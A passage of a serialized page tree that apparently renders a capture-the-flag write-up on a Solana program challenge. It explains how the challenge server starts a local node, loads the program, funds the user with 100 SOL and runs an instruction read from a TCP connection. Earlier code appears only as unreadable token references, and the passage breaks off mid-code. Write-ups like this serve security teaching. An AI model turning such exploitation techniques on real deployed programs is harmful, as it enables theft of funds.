}\n}\n",[39110],{"type":23,"tag":135,"props":39111,"children":39112},{"__ignoreMap":7},[39113,39120,39168,39179,39299,39414,39433,39440,39475,39482,39601,39716,39735,39742],{"type":23,"tag":139,"props":39114,"children":39115},{"class":141,"line":142},[39116],{"type":23,"tag":139,"props":39117,"children":39118},{"style":259},[39119],{"type":28,"value":38470},{"type":23,"tag":139,"props":39121,"children":39122},{"class":141,"line":151},[39123,39127,39131,39136,39140,39144,39148,39152,39156,39160,39164],{"type":23,"tag":139,"props":39124,"children":39125},{"style":279},[39126],{"type":28,"value":11701},{"type":23,"tag":139,"props":39128,"children":39129},{"style":279},[39130],{"type":28,"value":11706},{"type":23,"tag":139,"props":39132,"children":39133},{"style":245},[39134],{"type":28,"value":39135}," process",{"type":23,"tag":139,"props":39137,"children":39138},{"style":259},[39139],{"type":28,"value":262},{"type":23,"tag":139,"props":39141,"children":39142},{"style":279},[39143],{"type":28,"value":1713},{"type":23,"tag":139,"props":39145,"children":39146},{"style":294},[39147],{"type":28,"value":13116},{"type":23,"tag":139,"props":39149,"children":39150},{"style":982},[39151],{"type":28,"value":2493},{"type":23,"tag":139,"props":39153,"children":39154},{"style":982},[39155],{"type":28,"value":5144},{"type":23,"tag":139,"props":39157,"children":39158},{"style":259},[39159],{"type":28,"value":1723},{"type":23,"tag":139,"props":39161,"children":39162},{"style":305},[39163],{"type":28,"value":1401},{"type":23,"tag":139,"props":39165,"children":39166},{"style":259},[39167],{"type":28,"value":38515},{"type":23,"tag":139,"props":39169,"children":39170},{"class":141,"line":160},[39171,39175],{"type":23,"tag":139,"props":39172,"children":39173},{"style":279},[39174],{"type":28,"value":11844},{"type":23,"tag":139,"props":39176,"children":39177},{"style":259},[39178],{"type":28,"value":1268},{"type":23,"tag":139,"props":39180,"children":39181},{"class":141,"line":169},[39182,39186,39190,39194,39198,39202,39206,39210,39214,39218,39222,39226,39230,39234,39238,39242,39246,39250,39255,39259,39263,39267,39271,39275,39279,39283,39287,39291,39295],{"type":23,"tag":139,"props":39183,"children":39184},{"style":279},[39185],{"type":28,"value":1037},{"type":23,"tag":139,"props":39187,"children":39188},{"style":294},[39189],{"type":28,"value":11868},{"type":23,"tag":139,"props":39191,"children":39192},{"style":982},[39193],{"type":28,"value":985},{"type":23,"tag":139,"props":39195,"children":39196},{"style":259},[39197],{"type":28,"value":38546},{"type":23,"tag":139,"props":39199,"children":39200},{"style":982},[39201],{"type":28,"value":1461},{"type":23,"tag":139,"props":39203,"children":39204},{"style":259},[39205],{"type":28,"value":38555},{"type":23,"tag":139,"props":39207,"children":39208},{"style":982},[39209],{"type":28,"value":1461},{"type":23,"tag":139,"props":39211,"children":39212},{"style":245},[39213],{"type":28,"value":38564},{"type":23,"tag":139,"props":39215,"children":39216},{"style":982},[39217],{"type":28,"value":1461},{"type":23,"tag":139,"props":39219,"children":39220},{"style":259},[39221],{"type":28,"value":38573},{"type":23,"tag":139,"props":39223,"children":39224},{"style":305},[39225],{"type":28,"value":1401},{"type":23,"tag":139,"props":39227,"children":39228},{"style":259},[39229],{"type":28,"value":15239},{"type":23,"tag":139,"props":39231,"children":39232},{"style":1016},[39233],{"type":28,"value":2075},{"type":23,"tag":139,"props":39235,"children":39236},{"style":259},[39237],{"type":28,"value":21069},{"type":23,"tag":139,"props":39239,"children":39240},{"style":279},[39241],{"type":28,"value":18274},{"type":23,"tag":139,"props":39243,"children":39244},{"style":259},[39245],{"type":28,"value":262},{"type":23,"tag":139,"props":39247,"children":39248},{"style":305},[39249],{"type":28,"value":6046},{"type":23,"tag":139,"props":39251,"children":39252},{"style":259},[39253],{"type":28,"value":39254},")>(",{"type":23,"tag":139,"props":39256,"children":39257},{"style":294},[39258],{"type":28,"value":1691},{"type":23,"tag":139,"props":39260,"children":39261},{"style":259},[39262],{"type":28,"value":1723},{"type":23,"tag":139,"props":39264,"children":39265},{"style":982},[39266],{"type":28,"value":1024},{"type":23,"tag":139,"props":39268,"children":39269},{"style":1016},[39270],{"type":28,"value":2075},{"type":23,"tag":139,"props":39272,"children":39273},{"style":259},[39274],{"type":28,"value":13423},{"type":23,"tag":139,"props":39276,"children":39277},{"style":982},[39278],{"type":28,"value":73},{"type":23,"tag":139,"props":39280,"children":39281},{"style":245},[39282],{"type":28,"value":24183},{"type":23,"tag":139,"props":39284,"children":39285},{"style":259},[39286],{"type":28,"value":11890},{"type":23,"tag":139,"props":39288,"children":39289},{"style":982},[39290],{"type":28,"value":73},{"type":23,"tag":139,"props":39292,"children":39293},{"style":245},[39294],{"type":28,"value":1651},{"type":23,"tag":139,"props":39296,"children":39297},{"style":259},[39298],{"type":28,"value":13437},{"type":23,"tag":139,"props":39300,"children":39301},{"class":141,"line":178},[39302,39306,39310,39314,39318,39322,39326,39330,39334,39338,39342,39346,39350,39354,39358,39362,39366,39370,39374,39378,39382,39386,39390,39394,39398,39402,39406,39410],{"type":23,"tag":139,"props":39303,"children":39304},{"style":279},[39305],{"type":28,"value":1037},{"type":23,"tag":139,"props":39307,"children":39308},{"style":294},[39309],{"type":28,"value":38661},{"type":23,"tag":139,"props":39311,"children":39312},{"style":982},[39313],{"type":28,"value":985},{"type":23,"tag":139,"props":39315,"children":39316},{"style":259},[39317],{"type":28,"value":38546},{"type":23,"tag":139,"props":39319,"children":39320},{"style":982},[39321],{"type":28,"value":1461},{"type":23,"tag":139,"props":39323,"children":39324},{"style":259},[39325],{"type":28,"value":38555},{"type":23,"tag":139,"props":39327,"children":39328},{"style":982},[39329],{"type":28,"value":1461},{"type":23,"tag":139,"props":39331,"children":39332},{"style":245},[39333],{"type":28,"value":38564},{"type":23,"tag":139,"props":39335,"children":39336},{"style":982},[39337],{"type":28,"value":1461},{"type":23,"tag":139,"props":39339,"children":39340},{"style":259},[39341],{"type":28,"value":38573},{"type":23,"tag":139,"props":39343,"children":39344},{"style":305},[39345],{"type":28,"value":1401},{"type":23,"tag":139,"props":39347,"children":39348},{"style":259},[39349],{"type":28,"value":15239},{"type":23,"tag":139,"props":39351,"children":39352},{"style":1016},[39353],{"type":28,"value":2075},{"type":23,"tag":139,"props":39355,"children":39356},{"style":259},[39357],{"type":28,"value":21069},{"type":23,"tag":139,"props":39359,"children":39360},{"style":305},[39361],{"type":28,"value":6046},{"type":23,"tag":139,"props":39363,"children":39364},{"style":259},[39365],{"type":28,"value":5614},{"type":23,"tag":139,"props":39367,"children":39368},{"style":294},[39369],{"type":28,"value":1691},{"type":23,"tag":139,"props":39371,"children":39372},{"style":259},[39373],{"type":28,"value":1723},{"type":23,"tag":139,"props":39375,"children":39376},{"style":1016},[39377],{"type":28,"value":2075},{"type":23,"tag":139,"props":39379,"children":39380},{"style":982},[39381],{"type":28,"value":1024},{"type":23,"tag":139,"props":39383,"children":39384},{"style":1016},[39385],{"type":28,"value":38738},{"type":23,"tag":139,"props":39387,"children":39388},{"style":259},[39389],{"type":28,"value":13423},{"type":23,"tag":139,"props":39391,"children":39392},{"style":982},[39393],{"type":28,"value":73},{"type":23,"tag":139,"props":39395,"children":39396},{"style":245},[39397],{"type":28,"value":24183},{"type":23,"tag":139,"props":39399,"children":39400},{"style":259},[39401],{"type":28,"value":11890},{"type":23,"tag":139,"props":39403,"children":39404},{"style":982},[39405],{"type":28,"value":73},{"type":23,"tag":139,"props":39407,"children":39408},{"style":245},[39409],{"type":28,"value":1651},{"type":23,"tag":139,"props":39411,"children":39412},{"style":259},[39413],{"type":28,"value":13437},{"type":23,"tag":139,"props":39415,"children":39416},{"class":141,"line":187},[39417,39421,39425,39429],{"type":23,"tag":139,"props":39418,"children":39419},{"style":245},[39420],{"type":28,"value":38774},{"type":23,"tag":139,"props":39422,"children":39423},{"style":259},[39424],{"type":28,"value":262},{"type":23,"tag":139,"props":39426,"children":39427},{"style":294},[39428],{"type":28,"value":10643},{"type":23,"tag":139,"props":39430,"children":39431},{"style":259},[39432],{"type":28,"value":1820},{"type":23,"tag":139,"props":39434,"children":39435},{"class":141,"line":196},[39436],{"type":23,"tag":139,"props":39437,"children":39438},{"emptyLinePlaceholder":15},[39439],{"type":28,"value":184},{"type":23,"tag":139,"props":39441,"children":39442},{"class":141,"line":205},[39443,39447,39451,39455,39459,39463,39467,39471],{"type":23,"tag":139,"props":39444,"children":39445},{"style":294},[39446],{"type":28,"value":38945},{"type":23,"tag":139,"props":39448,"children":39449},{"style":982},[39450],{"type":28,"value":985},{"type":23,"tag":139,"props":39452,"children":39453},{"style":982},[39454],{"type":28,"value":5144},{"type":23,"tag":139,"props":39456,"children":39457},{"style":294},[39458],{"type":28,"value":1691},{"type":23,"tag":139,"props":39460,"children":39461},{"style":259},[39462],{"type":28,"value":1723},{"type":23,"tag":139,"props":39464,"children":39465},{"style":1016},[39466],{"type":28,"value":38738},{"type":23,"tag":139,"props":39468,"children":39469},{"style":982},[39470],{"type":28,"value":1024},{"type":23,"tag":139,"props":39472,"children":39473},{"style":259},[39474],{"type":28,"value":29461},{"type":23,"tag":139,"props":39476,"children":39477},{"class":141,"line":214},[39478],{"type":23,"tag":139,"props":39479,"children":39480},{"emptyLinePlaceholder":15},[39481],{"type":28,"value":184},{"type":23,"tag":139,"props":39483,"children":39484},{"class":141,"line":1320},[39485,39489,39493,39497,39501,39505,39509,39513,39517,39521,39525,39529,39533,39537,39541,39545,39549,39553,39557,39561,39565,39569,39573,39577,39581,39585,39589,39593,39597],{"type":23,"tag":139,"props":39486,"children":39487},{"style":279},[39488],{"type":28,"value":1037},{"type":23,"tag":139,"props":39490,"children":39491},{"style":294},[39492],{"type":28,"value":11868},{"type":23,"tag":139,"props":39494,"children":39495},{"style":982},[39496],{"type":28,"value":985},{"type":23,"tag":139,"props":39498,"children":39499},{"style":259},[39500],{"type":28,"value":38546},{"type":23,"tag":139,"props":39502,"children":39503},{"style":982},[39504],{"type":28,"value":1461},{"type":23,"tag":139,"props":39506,"children":39507},{"style":259},[39508],{"type":28,"value":38555},{"type":23,"tag":139,"props":39510,"children":39511},{"style":982},[39512],{"type":28,"value":1461},{"type":23,"tag":139,"props":39514,"children":39515},{"style":245},[39516],{"type":28,"value":38564},{"type":23,"tag":139,"props":39518,"children":39519},{"style":982},[39520],{"type":28,"value":1461},{"type":23,"tag":139,"props":39522,"children":39523},{"style":259},[39524],{"type":28,"value":38573},{"type":23,"tag":139,"props":39526,"children":39527},{"style":305},[39528],{"type":28,"value":1401},{"type":23,"tag":139,"props":39530,"children":39531},{"style":259},[39532],{"type":28,"value":15239},{"type":23,"tag":139,"props":39534,"children":39535},{"style":1016},[39536],{"type":28,"value":2075},{"type":23,"tag":139,"props":39538,"children":39539},{"style":259},[39540],{"type":28,"value":21069},{"type":23,"tag":139,"props":39542,"children":39543},{"style":279},[39544],{"type":28,"value":18274},{"type":23,"tag":139,"props":39546,"children":39547},{"style":259},[39548],{"type":28,"value":262},{"type":23,"tag":139,"props":39550,"children":39551},{"style":305},[39552],{"type":28,"value":6046},{"type":23,"tag":139,"props":39554,"children":39555},{"style":259},[39556],{"type":28,"value":39254},{"type":23,"tag":139,"props":39558,"children":39559},{"style":294},[39560],{"type":28,"value":1691},{"type":23,"tag":139,"props":39562,"children":39563},{"style":259},[39564],{"type":28,"value":1723},{"type":23,"tag":139,"props":39566,"children":39567},{"style":982},[39568],{"type":28,"value":1024},{"type":23,"tag":139,"props":39570,"children":39571},{"style":1016},[39572],{"type":28,"value":2075},{"type":23,"tag":139,"props":39574,"children":39575},{"style":259},[39576],{"type":28,"value":13423},{"type":23,"tag":139,"props":39578,"children":39579},{"style":982},[39580],{"type":28,"value":73},{"type":23,"tag":139,"props":39582,"children":39583},{"style":245},[39584],{"type":28,"value":24183},{"type":23,"tag":139,"props":39586,"children":39587},{"style":259},[39588],{"type":28,"value":11890},{"type":23,"tag":139,"props":39590,"children":39591},{"style":982},[39592],{"type":28,"value":73},{"type":23,"tag":139,"props":39594,"children":39595},{"style":245},[39596],{"type":28,"value":1651},{"type":23,"tag":139,"props":39598,"children":39599},{"style":259},[39600],{"type":28,"value":13437},{"type":23,"tag":139,"props":39602,"children":39603},{"class":141,"line":1329},[39604,39608,39612,39616,39620,39624,39628,39632,39636,39640,39644,39648,39652,39656,39660,39664,39668,39672,39676,39680,39684,39688,39692,39696,39700,39704,39708,39712],{"type":23,"tag":139,"props":39605,"children":39606},{"style":279},[39607],{"type":28,"value":1037},{"type":23,"tag":139,"props":39609,"children":39610},{"style":294},[39611],{"type":28,"value":38661},{"type":23,"tag":139,"props":39613,"children":39614},{"style":982},[39615],{"type":28,"value":985},{"type":23,"tag":139,"props":39617,"children":39618},{"style":259},[39619],{"type":28,"value":38546},{"type":23,"tag":139,"props":39621,"children":39622},{"style":982},[39623],{"type":28,"value":1461},{"type":23,"tag":139,"props":39625,"children":39626},{"style":259},[39627],{"type":28,"value":38555},{"type":23,"tag":139,"props":39629,"children":39630},{"style":982},[39631],{"type":28,"value":1461},{"type":23,"tag":139,"props":39633,"children":39634},{"style":245},[39635],{"type":28,"value":38564},{"type":23,"tag":139,"props":39637,"children":39638},{"style":982},[39639],{"type":28,"value":1461},{"type":23,"tag":139,"props":39641,"children":39642},{"style":259},[39643],{"type":28,"value":38573},{"type":23,"tag":139,"props":39645,"children":39646},{"style":305},[39647],{"type":28,"value":1401},{"type":23,"tag":139,"props":39649,"children":39650},{"style":259},[39651],{"type":28,"value":15239},{"type":23,"tag":139,"props":39653,"children":39654},{"style":1016},[39655],{"type":28,"value":2075},{"type":23,"tag":139,"props":39657,"children":39658},{"style":259},[39659],{"type":28,"value":21069},{"type":23,"tag":139,"props":39661,"children":39662},{"style":305},[39663],{"type":28,"value":6046},{"type":23,"tag":139,"props":39665,"children":39666},{"style":259},[39667],{"type":28,"value":5614},{"type":23,"tag":139,"props":39669,"children":39670},{"style":294},[39671],{"type":28,"value":1691},{"type":23,"tag":139,"props":39673,"children":39674},{"style":259},[39675],{"type":28,"value":1723},{"type":23,"tag":139,"props":39677,"children":39678},{"style":1016},[39679],{"type":28,"value":2075},{"type":23,"tag":139,"props":39681,"children":39682},{"style":982},[39683],{"type":28,"value":1024},{"type":23,"tag":139,"props":39685,"children":39686},{"style":1016},[39687],{"type":28,"value":38738},{"type":23,"tag":139,"props":39689,"children":39690},{"style":259},[39691],{"type":28,"value":13423},{"type":23,"tag":139,"props":39693,"children":39694},{"style":982},[39695],{"type":28,"value":73},{"type":23,"tag":139,"props":39697,"children":39698},{"style":245},[39699],{"type":28,"value":24183},{"type":23,"tag":139,"props":39701,"children":39702},{"style":259},[39703],{"type":28,"value":11890},{"type":23,"tag":139,"props":39705,"children":39706},{"style":982},[39707],{"type":28,"value":73},{"type":23,"tag":139,"props":39709,"children":39710},{"style":245},[39711],{"type":28,"value":1651},{"type":23,"tag":139,"props":39713,"children":39714},{"style":259},[39715],{"type":28,"value":13437},{"type":23,"tag":139,"props":39717,"children":39718},{"class":141,"line":1580},[39719,39723,39727,39731],{"type":23,"tag":139,"props":39720,"children":39721},{"style":245},[39722],{"type":28,"value":38774},{"type":23,"tag":139,"props":39724,"children":39725},{"style":259},[39726],{"type":28,"value":262},{"type":23,"tag":139,"props":39728,"children":39729},{"style":294},[39730],{"type":28,"value":10643},{"type":23,"tag":139,"props":39732,"children":39733},{"style":259},[39734],{"type":28,"value":1820},{"type":23,"tag":139,"props":39736,"children":39737},{"class":141,"line":1597},[39738],{"type":23,"tag":139,"props":39739,"children":39740},{"style":259},[39741],{"type":28,"value":1335},{"type":23,"tag":139,"props":39743,"children":39744},{"class":141,"line":1614},[39745],{"type":23,"tag":139,"props":39746,"children":39747},{"style":259},[39748],{"type":28,"value":1897},{"type":23,"tag":666,"props":39750,"children":39752},{"id":39751},"test-environment",[39753],{"type":28,"value":39754},"Test Environment",{"type":23,"tag":24,"props":39756,"children":39757},{},[39758],{"type":28,"value":39759},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":24,"props":39761,"children":39762},{},[39763,39765,39771],{"type":28,"value":39764},"When you connect to the server through a tcp connection, ",{"type":23,"tag":135,"props":39766,"children":39768},{"className":39767},[],[39769],{"type":28,"value":39770},"framework/src/main.rs::handle_connection",{"type":28,"value":39772}," gets executed, which does the following:",{"type":23,"tag":797,"props":39774,"children":39775},{},[39776],{"type":23,"tag":801,"props":39777,"children":39778},{},[39779],{"type":28,"value":39780},"Creates a new Solana local node",{"type":23,"tag":128,"props":39782,"children":39784},{"className":948,"code":39783,"language":947,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[39785],{"type":23,"tag":135,"props":39786,"children":39787},{"__ignoreMap":7},[39788,39869,39945],{"type":23,"tag":139,"props":39789,"children":39790},{"class":141,"line":142},[39791,39795,39799,39804,39808,39813,39817,39822,39826,39831,39835,39840,39844,39848,39852,39857,39861,39865],{"type":23,"tag":139,"props":39792,"children":39793},{"style":279},[39794],{"type":28,"value":9798},{"type":23,"tag":139,"props":39796,"children":39797},{"style":279},[39798],{"type":28,"value":974},{"type":23,"tag":139,"props":39800,"children":39801},{"style":294},[39802],{"type":28,"value":39803}," builder",{"type":23,"tag":139,"props":39805,"children":39806},{"style":982},[39807],{"type":28,"value":985},{"type":23,"tag":139,"props":39809,"children":39810},{"style":305},[39811],{"type":28,"value":39812}," ChallengeBuilder",{"type":23,"tag":139,"props":39814,"children":39815},{"style":982},[39816],{"type":28,"value":1461},{"type":23,"tag":139,"props":39818,"children":39819},{"style":245},[39820],{"type":28,"value":39821},"try_from",{"type":23,"tag":139,"props":39823,"children":39824},{"style":259},[39825],{"type":28,"value":262},{"type":23,"tag":139,"props":39827,"children":39828},{"style":294},[39829],{"type":28,"value":39830},"socket",{"type":23,"tag":139,"props":39832,"children":39833},{"style":982},[39834],{"type":28,"value":73},{"type":23,"tag":139,"props":39836,"children":39837},{"style":245},[39838],{"type":28,"value":39839},"try_clone",{"type":23,"tag":139,"props":39841,"children":39842},{"style":259},[39843],{"type":28,"value":11890},{"type":23,"tag":139,"props":39845,"children":39846},{"style":982},[39847],{"type":28,"value":73},{"type":23,"tag":139,"props":39849,"children":39850},{"style":245},[39851],{"type":28,"value":1651},{"type":23,"tag":139,"props":39853,"children":39854},{"style":259},[39855],{"type":28,"value":39856},"())",{"type":23,"tag":139,"props":39858,"children":39859},{"style":982},[39860],{"type":28,"value":73},{"type":23,"tag":139,"props":39862,"children":39863},{"style":245},[39864],{"type":28,"value":1651},{"type":23,"tag":139,"props":39866,"children":39867},{"style":259},[39868],{"type":28,"value":1656},{"type":23,"tag":139,"props":39870,"children":39871},{"class":141,"line":151},[39872,39877,39881,39886,39890,39895,39899,39904,39908,39913,39918,39922,39927,39931,39936,39940],{"type":23,"tag":139,"props":39873,"children":39874},{"style":245},[39875],{"type":28,"value":39876},"assert!",{"type":23,"tag":139,"props":39878,"children":39879},{"style":259},[39880],{"type":28,"value":262},{"type":23,"tag":139,"props":39882,"children":39883},{"style":294},[39884],{"type":28,"value":39885},"builder",{"type":23,"tag":139,"props":39887,"children":39888},{"style":982},[39889],{"type":28,"value":73},{"type":23,"tag":139,"props":39891,"children":39892},{"style":245},[39893],{"type":28,"value":39894},"add_program",{"type":23,"tag":139,"props":39896,"children":39897},{"style":259},[39898],{"type":28,"value":262},{"type":23,"tag":139,"props":39900,"children":39901},{"style":265},[39902],{"type":28,"value":39903},"\"/path/to/chall.so\"",{"type":23,"tag":139,"props":39905,"children":39906},{"style":259},[39907],{"type":28,"value":1052},{"type":23,"tag":139,"props":39909,"children":39910},{"style":305},[39911],{"type":28,"value":39912},"Some",{"type":23,"tag":139,"props":39914,"children":39915},{"style":259},[39916],{"type":28,"value":39917},"(chall",{"type":23,"tag":139,"props":39919,"children":39920},{"style":982},[39921],{"type":28,"value":1461},{"type":23,"tag":139,"props":39923,"children":39924},{"style":259},[39925],{"type":28,"value":39926},"ID)) ",{"type":23,"tag":139,"props":39928,"children":39929},{"style":982},[39930],{"type":28,"value":6580},{"type":23,"tag":139,"props":39932,"children":39933},{"style":259},[39934],{"type":28,"value":39935}," chall",{"type":23,"tag":139,"props":39937,"children":39938},{"style":982},[39939],{"type":28,"value":1461},{"type":23,"tag":139,"props":39941,"children":39942},{"style":259},[39943],{"type":28,"value":39944},"ID);\n",{"type":23,"tag":139,"props":39946,"children":39947},{"class":141,"line":160},[39948,39952,39956,39960,39964,39968,39972,39977,39981,39985,39989],{"type":23,"tag":139,"props":39949,"children":39950},{"style":279},[39951],{"type":28,"value":9798},{"type":23,"tag":139,"props":39953,"children":39954},{"style":279},[39955],{"type":28,"value":974},{"type":23,"tag":139,"props":39957,"children":39958},{"style":294},[39959],{"type":28,"value":39935},{"type":23,"tag":139,"props":39961,"children":39962},{"style":982},[39963],{"type":28,"value":985},{"type":23,"tag":139,"props":39965,"children":39966},{"style":294},[39967],{"type":28,"value":39803},{"type":23,"tag":139,"props":39969,"children":39970},{"style":982},[39971],{"type":28,"value":73},{"type":23,"tag":139,"props":39973,"children":39974},{"style":245},[39975],{"type":28,"value":39976},"build",{"type":23,"tag":139,"props":39978,"children":39979},{"style":259},[39980],{"type":28,"value":11890},{"type":23,"tag":139,"props":39982,"children":39983},{"style":982},[39984],{"type":28,"value":73},{"type":23,"tag":139,"props":39986,"children":39987},{"style":319},[39988],{"type":28,"value":30804},{"type":23,"tag":139,"props":39990,"children":39991},{"style":259},[39992],{"type":28,"value":995},{"type":23,"tag":797,"props":39994,"children":39995},{"start":151},[39996],{"type":23,"tag":801,"props":39997,"children":39998},{},[39999],{"type":28,"value":40000},"Funds the user account with 100 SOL",{"type":23,"tag":128,"props":40002,"children":40004},{"className":948,"code":40003,"language":947,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[40005],{"type":23,"tag":135,"props":40006,"children":40007},{"__ignoreMap":7},[40008,40041,40073,40080,40122,40154,40161,40169,40233,40252,40259],{"type":23,"tag":139,"props":40009,"children":40010},{"class":141,"line":142},[40011,40015,40020,40024,40029,40033,40037],{"type":23,"tag":139,"props":40012,"children":40013},{"style":279},[40014],{"type":28,"value":9798},{"type":23,"tag":139,"props":40016,"children":40017},{"style":294},[40018],{"type":28,"value":40019}," user_keypair",{"type":23,"tag":139,"props":40021,"children":40022},{"style":982},[40023],{"type":28,"value":985},{"type":23,"tag":139,"props":40025,"children":40026},{"style":305},[40027],{"type":28,"value":40028}," Keypair",{"type":23,"tag":139,"props":40030,"children":40031},{"style":982},[40032],{"type":28,"value":1461},{"type":23,"tag":139,"props":40034,"children":40035},{"style":245},[40036],{"type":28,"value":13134},{"type":23,"tag":139,"props":40038,"children":40039},{"style":259},[40040],{"type":28,"value":1656},{"type":23,"tag":139,"props":40042,"children":40043},{"class":141,"line":151},[40044,40048,40053,40057,40061,40065,40069],{"type":23,"tag":139,"props":40045,"children":40046},{"style":279},[40047],{"type":28,"value":9798},{"type":23,"tag":139,"props":40049,"children":40050},{"style":294},[40051],{"type":28,"value":40052}," user",{"type":23,"tag":139,"props":40054,"children":40055},{"style":982},[40056],{"type":28,"value":985},{"type":23,"tag":139,"props":40058,"children":40059},{"style":294},[40060],{"type":28,"value":40019},{"type":23,"tag":139,"props":40062,"children":40063},{"style":982},[40064],{"type":28,"value":73},{"type":23,"tag":139,"props":40066,"children":40067},{"style":245},[40068],{"type":28,"value":1525},{"type":23,"tag":139,"props":40070,"children":40071},{"style":259},[40072],{"type":28,"value":1656},{"type":23,"tag":139,"props":40074,"children":40075},{"class":141,"line":160},[40076],{"type":23,"tag":139,"props":40077,"children":40078},{"emptyLinePlaceholder":15},[40079],{"type":28,"value":184},{"type":23,"tag":139,"props":40081,"children":40082},{"class":141,"line":169},[40083,40087,40092,40096,40100,40105,40109,40113,40117],{"type":23,"tag":139,"props":40084,"children":40085},{"style":279},[40086],{"type":28,"value":9798},{"type":23,"tag":139,"props":40088,"children":40089},{"style":294},[40090],{"type":28,"value":40091}," payer_keypair",{"type":23,"tag":139,"props":40093,"children":40094},{"style":982},[40095],{"type":28,"value":985},{"type":23,"tag":139,"props":40097,"children":40098},{"style":982},[40099],{"type":28,"value":5144},{"type":23,"tag":139,"props":40101,"children":40102},{"style":294},[40103],{"type":28,"value":40104},"chall",{"type":23,"tag":139,"props":40106,"children":40107},{"style":982},[40108],{"type":28,"value":73},{"type":23,"tag":139,"props":40110,"children":40111},{"style":259},[40112],{"type":28,"value":18288},{"type":23,"tag":139,"props":40114,"children":40115},{"style":982},[40116],{"type":28,"value":73},{"type":23,"tag":139,"props":40118,"children":40119},{"style":259},[40120],{"type":28,"value":40121},"payer;\n",{"type":23,"tag":139,"props":40123,"children":40124},{"class":141,"line":178},[40125,40129,40134,40138,40142,40146,40150],{"type":23,"tag":139,"props":40126,"children":40127},{"style":279},[40128],{"type":28,"value":9798},{"type":23,"tag":139,"props":40130,"children":40131},{"style":294},[40132],{"type":28,"value":40133}," payer",{"type":23,"tag":139,"props":40135,"children":40136},{"style":982},[40137],{"type":28,"value":985},{"type":23,"tag":139,"props":40139,"children":40140},{"style":294},[40141],{"type":28,"value":40091},{"type":23,"tag":139,"props":40143,"children":40144},{"style":982},[40145],{"type":28,"value":73},{"type":23,"tag":139,"props":40147,"children":40148},{"style":245},[40149],{"type":28,"value":1525},{"type":23,"tag":139,"props":40151,"children":40152},{"style":259},[40153],{"type":28,"value":1656},{"type":23,"tag":139,"props":40155,"children":40156},{"class":141,"line":187},[40157],{"type":23,"tag":139,"props":40158,"children":40159},{"emptyLinePlaceholder":15},[40160],{"type":28,"value":184},{"type":23,"tag":139,"props":40162,"children":40163},{"class":141,"line":196},[40164],{"type":23,"tag":139,"props":40165,"children":40166},{"style":294},[40167],{"type":28,"value":40168},"chall\n",{"type":23,"tag":139,"props":40170,"children":40171},{"class":141,"line":205},[40172,40177,40182,40187,40191,40195,40199,40203,40208,40212,40216,40220,40224,40229],{"type":23,"tag":139,"props":40173,"children":40174},{"style":982},[40175],{"type":28,"value":40176},"    .",{"type":23,"tag":139,"props":40178,"children":40179},{"style":245},[40180],{"type":28,"value":40181},"run_ix",{"type":23,"tag":139,"props":40183,"children":40184},{"style":259},[40185],{"type":28,"value":40186},"(system_instruction",{"type":23,"tag":139,"props":40188,"children":40189},{"style":982},[40190],{"type":28,"value":1461},{"type":23,"tag":139,"props":40192,"children":40193},{"style":245},[40194],{"type":28,"value":30010},{"type":23,"tag":139,"props":40196,"children":40197},{"style":259},[40198],{"type":28,"value":262},{"type":23,"tag":139,"props":40200,"children":40201},{"style":982},[40202],{"type":28,"value":1085},{"type":23,"tag":139,"props":40204,"children":40205},{"style":294},[40206],{"type":28,"value":40207},"payer",{"type":23,"tag":139,"props":40209,"children":40210},{"style":259},[40211],{"type":28,"value":1052},{"type":23,"tag":139,"props":40213,"children":40214},{"style":982},[40215],{"type":28,"value":1085},{"type":23,"tag":139,"props":40217,"children":40218},{"style":294},[40219],{"type":28,"value":18240},{"type":23,"tag":139,"props":40221,"children":40222},{"style":259},[40223],{"type":28,"value":1052},{"type":23,"tag":139,"props":40225,"children":40226},{"style":1016},[40227],{"type":28,"value":40228},"100_000_000_000",{"type":23,"tag":139,"props":40230,"children":40231},{"style":259},[40232],{"type":28,"value":17719},{"type":23,"tag":139,"props":40234,"children":40235},{"class":141,"line":214},[40236,40240,40244,40248],{"type":23,"tag":139,"props":40237,"children":40238},{"style":982},[40239],{"type":28,"value":40176},{"type":23,"tag":139,"props":40241,"children":40242},{"style":319},[40243],{"type":28,"value":30804},{"type":23,"tag":139,"props":40245,"children":40246},{"style":982},[40247],{"type":28,"value":1132},{"type":23,"tag":139,"props":40249,"children":40250},{"style":259},[40251],{"type":28,"value":995},{"type":23,"tag":139,"props":40253,"children":40254},{"class":141,"line":1320},[40255],{"type":23,"tag":139,"props":40256,"children":40257},{"emptyLinePlaceholder":15},[40258],{"type":28,"value":184},{"type":23,"tag":139,"props":40260,"children":40261},{"class":141,"line":1329},[40262,40267,40271,40275,40279,40284,40288,40292,40296,40300],{"type":23,"tag":139,"props":40263,"children":40264},{"style":245},[40265],{"type":28,"value":40266},"writeln!",{"type":23,"tag":139,"props":40268,"children":40269},{"style":259},[40270],{"type":28,"value":262},{"type":23,"tag":139,"props":40272,"children":40273},{"style":294},[40274],{"type":28,"value":39830},{"type":23,"tag":139,"props":40276,"children":40277},{"style":259},[40278],{"type":28,"value":1052},{"type":23,"tag":139,"props":40280,"children":40281},{"style":265},[40282],{"type":28,"value":40283},"\"user: {}\"",{"type":23,"tag":139,"props":40285,"children":40286},{"style":259},[40287],{"type":28,"value":1052},{"type":23,"tag":139,"props":40289,"children":40290},{"style":294},[40291],{"type":28,"value":18240},{"type":23,"tag":139,"props":40293,"children":40294},{"style":259},[40295],{"type":28,"value":1104},{"type":23,"tag":139,"props":40297,"children":40298},{"style":982},[40299],{"type":28,"value":1132},{"type":23,"tag":139,"props":40301,"children":40302},{"style":259},[40303],{"type":28,"value":995},{"type":23,"tag":797,"props":40305,"children":40306},{"start":160},[40307],{"type":23,"tag":801,"props":40308,"children":40309},{},[40310],{"type":28,"value":40311},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":128,"props":40313,"children":40315},{"className":948,"code":40314,"language":947,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], 